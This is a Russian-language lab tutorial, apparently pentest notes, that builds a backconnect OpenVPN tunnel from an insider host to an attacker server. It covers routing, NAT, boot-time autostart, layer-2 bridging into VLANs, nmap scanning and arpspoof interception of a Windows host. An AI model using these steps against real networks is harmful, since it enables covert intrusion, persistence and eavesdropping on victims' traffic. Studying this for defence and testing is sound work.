# BackConnect VPN Tunnel - немного попотеть Проникаем во внутрь инфраструктуры используя ***BackConnect VPN Tunnel*** основываясь на ***OpenVPN*** Первый способ: Построим ***VPN Tunnel*** на уровне **L3** (как будто стоит маршрутизатор) Второй способ: Построим ***VPN Tunnel*** на уровне **L2** (как будто стоит коммутатор) - для того чтобы мы могли перехватывать *ARPs* ## VPN Tunnel L3 ### Устанавливаем **OpenVPN Server** на нашу машину которая будет выступать в роли сервака злоумышленника, в нашем случае будем использовать машину с **ОС Debian** 1. Настраиваем на машине сеть и получаем IP address; 2. Для удобства переименовываем машину > `nano /etc/hostname` - OVPN-SRV > `nano /etc/hosts` - 127.0.0.1 localhost, 127.0.1.1 OVPN-SRV После этого ребутаем машинку 3. Обновляем машинку - apt update, apt upgrade 4. Для удобства подключаемся к нашей машине по SSH c хостовой тачки > `ssh root@ip_addr_ovpn-srv` 5. Для того чтобы установить ***OpenVPN Server*** скачиваем проверенный скрипт быстрой установки - https://github.com/angristan/openvpn-install > если на ***OVPN-SRV*** нет ***curl*** то устанавливаем его > `apt install curl` > > Теперь скачиваем непосредственно сам ***скрипт*** и делаем его ***исполняемым*** > `curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh` > `chmod +x openvpn-install.sh` > > Запускаем скрипт > `./openvpn-install.sh` > > ***На первом*** этапе должен быть указан **IP address** который имеет наш интерфейс > ***На втором*** этапе меняем на **IP address** который указан в ***первом этапе*** > > **IPv6 support (NAT)** [y/n]: **n** > **Port choice** [1-3]: **1** > **Protocol** [1-2]: **1** > **DNS** [1-12]: **11** > **Enable compression?** [y/n]: **n** > **Customize encryption settings?** [y/n]: **n** > > *Данные настройки дефолтные, для более тонкой настройки необходимо будет изучить опции* > ![](https://i.imgur.com/cchWi3P.png) > > После того как скрипт закончит установку, запросит создание клиент профиль **client name:** > Первый клиент у нас будет на машине ***злоумышленника*** - это ***Kali Linux*** > ![](https://i.imgur.com/XCY5Mjl.png) > **Add a passwordless client** - для того чтобы автоматически подключался, без пароля. > Это потому что мы используем для взлома, но например для сотрудников организации обязательно поставить двухфакторку. > --- > Добавим еще один клиент профиль который будет на машине инсайдера: > **Запускаем скрипт** - **`./openvpn-install.sh`** > **Добавим профиль** - Add a new user > **Указываем имя** - client name: > **Пропускаем без пароля** - Add a passwordless client > > > ![](https://i.imgur.com/1WzBn7k.png) 6. Устанавливаем OpenVPN на машину инсайдера и злоумышленника > `apt update` > `apt install openvpn` 7. Переносим файл созданного юзера kali и юзера inside на соответствующие машины > `scp root@ip_addr_ovpn-srv:/root/kali.ovpn ./kali.conf` - на машине ***Kali Linux*** > `scp root@ip_addr_ovpn-srv:/root/inside.ovpn ./inside.conf` - на машине ***Debian(инсайдер)*** 8. Перед запуском OpenVPN необходимо поправить серверный конфиг, чтобы работало все не по дефолту > На OpenVPN Server - машина ***OVPN-SRV*** > `nano /etc/openvpn/server.conf` > > Комментим строки push* > > ![](https://i.imgur.com/ZzIhCxI.png) > > И в самом низу добавляем строку > `client-to-client` > Это нужно для того чтобы клиенты видели трафик между собой > Иначе, после подключения клиентов к OpenVPN Server, при пинге одного клиента с другого, пинг будет редиректить к серверу > > Сохраняем и перезагружаем сервис > `service openvpn restart` 9. Отредактируем конфиги клиентов > `nano ./kali.conf` > `nano ./inside.conf` > > Комментим строки как на скрине > > ![](https://i.imgur.com/wjwOIX5.png) 10. Коннектимся с обоих клиентов до ***OVPN-SRV*** > `openvpn --config kali.conf` > `openvpn --config inside.conf` > > проверяем пинги с одного клиента до другого > > ![](https://i.imgur.com/0Zgc5T5.png) Мы добрались с Kali через сервер OVPN-SRV к Debian(инсайдер) машине которая находится внутри сети. Теперь нам необходимо добраться до всей сети 11. Используем статическую маршрутизацию и прописываем маршрут на Kali Linux, указываем сеть и через что мы идем (IP тунеля на машине инсайдера) > `ip route add 192.168.100.0/24 via 10.8.0.3` 12. Для того чтобы видеть сеть за клиентом, нам необходимо создать файлик с именем клиента на сервере. Данный подводный камень только в ***OpenVPN L3***, в ***L2*** такого нет. > На сервере OVPN-SRV переходим в директорию ***ccd*** > `cd /etc/openvpn/ccd/` > > Создаем файл > `nano inside` > > Прописываем внутри > `iroute 192.168.100.0 255.255.255.0` > > рестартуем openvpn > `service openvpn restart` > > Переподключаемся с клиентов до OpenVPN > `openvpn --config kali.conf` > `openvpn --config inside.conf` 13. Для того чтобы ***не слетал маршрут*** после перезапуска нашего клиента Kali Linux, создадим конфиг в директории ***ccd*** на сервере OVPN-SRV > `cd /etc/openvpn/ccd/` > > Создаем файл > `nano kali` > > Прописываем > `push "route 192.168.100.0 255.255.255.0 10.8.0.3"` 14. Для того чтобы достучаться до фаервола с клиента Kali Linux, необходимо прописать NAT на клиенте Debian(инсайдер) > `iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE` > > Теперь мы можем пропинговать фаервол и зайти на него) --- С помощью применения небольшой магии, мы можем теперь сканить сеть и попробовать что-то сломать :male_mage: --- ## VPN Tunnel L2 Автоматизируем систему связанную с OpenVPN, сделаем так чтобы при запуске машинки клиента OpenVPN-client, запускался сам OpenVPN Правила iptables которые использовали при подключении через L3, надо будет убрать, тут они нам не понадобятся 1. Ставим в автозагрузку openvpn > `systemctl enable openvpn` > > Переместим с корневой директории конфиг **inside.conf** в ***/etc/openvpn/*** > `mv inside.conf /etc/openvpn/` > > Расскоментим команду AUTOSTART="all" в `/etc/default/openvpn` для того чтобы он стартовал все конфиг файлы находящиеся в /etc/openvpn/ > >![](https://i.imgur.com/N60BoOe.png) > > ребутаем машинку - `reboot` > > Смотрим `ip a` > У нас должен подняться tun0 интерфейс > >![](https://i.imgur.com/dXL2gJZ.png) 2. Делаем чтобы OpenVPN-client коннектился не IP туннелем до **OVPN-SRV**, а Ethernet туннелем то есть на уровне L2 > Закоментим строчку **dev tun** и добавим **dev tap** в кофиге на ***OVPN-SRV*** > `nano /etc/openvpn/server.conf` > > >![](https://i.imgur.com/C7MwSnB.png) > > Перезапускаем сервис > `service openvpn restart` > > Тоже самое делаем и на клиентах > `nano /etc/openvpn/inside.conf` - на инсайдере > `nano /etc/openvpn/kali.conf` - на нашей кали > `service openvpn restart` > > После рестарта сервиса, появится интерфейс tap0 > >![](https://i.imgur.com/uEVso2A.png) > > > Мы настроили OpenVPN так как будто бы клиенты внешний и внутренний подключены проводочком к коммутатору и находяться в одной сети 3. Теперь сделаем так, чтобы клиент инсайдер бридживал сеть :male_mage: > Для этого нам необходимо будет установить ***bridge-utils*** на ***машину инсайдера*** > > **`apt install bridge-utils`** > > > > Эта утилита позволит нам **забридживать** виртуальный интерфейс **tap0** и интерфейс **ens3**, эти два интерфейса между собой будут как будто бы связаны в одном коммутаторе. > > Весь трафик который будет идти **внутри инфраструктуры**, так же будет уходить и в **tap0** интерфейс > > Так же мы сможем проникнуть в любой **VLAN**, если у нас будет транковый порт через систему инсайдера > > Приступим к настройке и сделаем так чтобы tap0 и ens3 были в бридже > `nano /etc/network/interfaces` > > ![](https://i.imgur.com/SB30qFH.png) > > * Поднимаем интерфейс tap0 > > * В интерфейсах **tap0** и **ens3** указываем ***inet manul***, так как они являются элементами моста > > * Поднимаем интерфейс моста **br0**, указываем что ***IP*** будет получен по ***DHCP*** и портами этого моста будут наши интерфейсы **ens3** и **tap0** > > * Интерфейсы виланов нам пока не нужны, их закоментим > > * Ребутаем машину чтобы закоменченные интерфейсы нам не мешали > > * Так как сначала стартует сеть а потом уже OpenVPN, то интерфейс tap0 не имеет **master br0**, необходимо рестартануть сеть `service networking restart` > > > Для того чтобы автоматизировать эту часть, и не перезагружать сеть в ручную, пропишем скрипт > > > Добавим пару строк в **/etc/openvpn/inside.conf** > > > * script-security 2 > > > * up /etc/openvpn/up.sh > > > > > > > ![](https://i.imgur.com/hBVAyt2.png) > > > > > > Редактируем скрипт **nano /etc/openvpn/up.sh** > > > > > > > ![](https://i.imgur.com/IpbDdwO.png) > > > > > > Делаем скрипт исполняемым **`chmod +x /etc/openvpn/up.sh`** > > > :mage: > > Переходим к :skull: Kali Linux и добавим IP внутренней сети к интерфейсу tap0 > > Например - `ip addr add 192.168.100.55/24 dev tap0` > > > > ![](https://i.imgur.com/2P68Fnh.png) > > Смотрим **`ip route`**, и если есть роут на ***192.168.100.0/24 via 10.8.0.3 dev tap0*** то удаляем его > > ![](https://i.imgur.com/uIWBjHz.png) > > > > `ip route delete 192.168.100.0/24` > > Пропингуем **firewall** и посмотрим через **wireshark** прилетают ли нам **ARPs** > > `ping 192.168.100.254` > > ![](https://i.imgur.com/8b9WWL8.png) > > > > ![](https://i.imgur.com/QEB5bEX.png) 4. Настроим sub интерфейсы на :skull: Kali Linux > `nano /etc/network/interfaces` > > > ![](https://i.imgur.com/bLZhUC8.png) > > Добавим на tap0.10 интерфейс айпишник с VLAN-10 > Например - `ip addr add 192.168.10.53/24 dev tap0.10` > Проверим пинг - `ping 192.168.10.254` > > ![](https://i.imgur.com/Z4P85DL.png) > > Пробуем посканить сеть через nmap > `nmap 192.168.10.0/24 -v` > > ![](https://i.imgur.com/SWrD7qT.png) > > Попробуем перехватить трафик с Win7 машинки 192.168.10.10 перехватить трафик (**arpspoof**) > > Для того чтобы работал ***ARP spoof*** на :skull: Kali Linux в **/etc/sysctl.conf** должен быть включен **net.ipv4.ip_forward=1** > > При атаке ARP spoofing необходимо заменить дефолтный **gateway** в **`ip route`** > > `ip route delete default` > > > > И добавляем gateway VLAN-10 > > `ip route add default via 192.168.10.254` > > > > Либо же настроить игнорирование изменения шлюза в конфиге OpenVPN > > Запускаем атаку ARP spoofing > `arpspoof -i tap0.10 -t 192.168.10.10 -r 192.168.10.254` > > И с помощью например wireshark ловим пакеты > :male_mage: